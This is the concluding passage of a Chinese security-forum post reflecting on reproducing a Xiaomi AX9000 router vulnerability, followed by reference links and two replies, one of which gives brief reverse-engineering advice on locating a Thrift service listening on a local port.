最后做个小结吧。在复现漏洞的过程中，我发现其中涉及的 C++ 网络编程、红黑树等数据结构，都是自己目前的知识盲区，阅读时感到有些吃力。即便借助 AI 工具辅助，仍有不少细节未能完全理解，这也导致漏洞原理分析部分存在疏漏，没能在文章中完全的表达清晰。同时，winmt 师傅的文章里还有不少让我困惑的地方。比如已知 sub_1BAE0 函数会向本地 127.0.0.1:9090 发送数据，但仍不清楚如何确认 datacenter 程序正监听该端口。在惊叹于 winmt 师傅深厚的漏洞挖掘功底时，我也清晰意识到自身的短板，由于缺乏系统的学习，只能在复现过程中边摸索边补漏。但多次的漏洞复现也让我更明确了后续努力的方向，希望通过持续积累逐步提升自己的漏洞挖掘能力。

参考
[[原创] 小米AX9000路由器CVE-2023-26315漏洞挖掘-智能设备-看雪-安全社区|安全招聘|kanxue.com](https://bbs.kanxue.com/thread-281901.htm)
[[原创] 小米路由器固件仿真模拟方案-智能设备-看雪论坛-安全社区|非营利性质技术交流社区](https://bbs.kanxue.com/thread-282034.htm)

登录后可查看完整内容

冰与火的战歌：Windows内核攻防实战高级班！从零到实战，融合AI与Windows内核攻防全技术栈，打造具备自动化能力的内核开发高手。

最新回复 (2)
winmt 雪币： 4776 活跃值： (11880) 能力值： (RANK：438 ) 在线值：发帖 11 回帖 89 粉丝 401 关注私信	winmt 9 2 楼感谢分享。解答下你提到的困惑，可以这样：首先确定这里socket用的apache::thrift框架，然后就grep -r "TSocket"匹配这个字符串，定位到少量的二进制文件（除去库文件），然后拖进IDA挨个看一下相关函数或者search一下9090的16进制来定位。 2025-11-8 16:39 1
XiDP 雪币： 683 活跃值： (970) 能力值： ( LV2，RANK：10 ) 在线值：发帖 4 回帖 4 粉丝 8 关注私信	XiDP 3 楼 winmt 感谢分享。解答下你提到的困惑，可以这样：首先确定这里socket用的apache::thrift框架，然后就grep -r "TSocket"匹配这个字符串，定位到少量的二进制文件 ... 看师傅的文章学到了很多，很高兴收到师傅的回复，感谢师傅的解答 2025-11-8 17:49 0
	游客登录 \| 注册方可回帖回帖表情雪币赚取及消费高级回复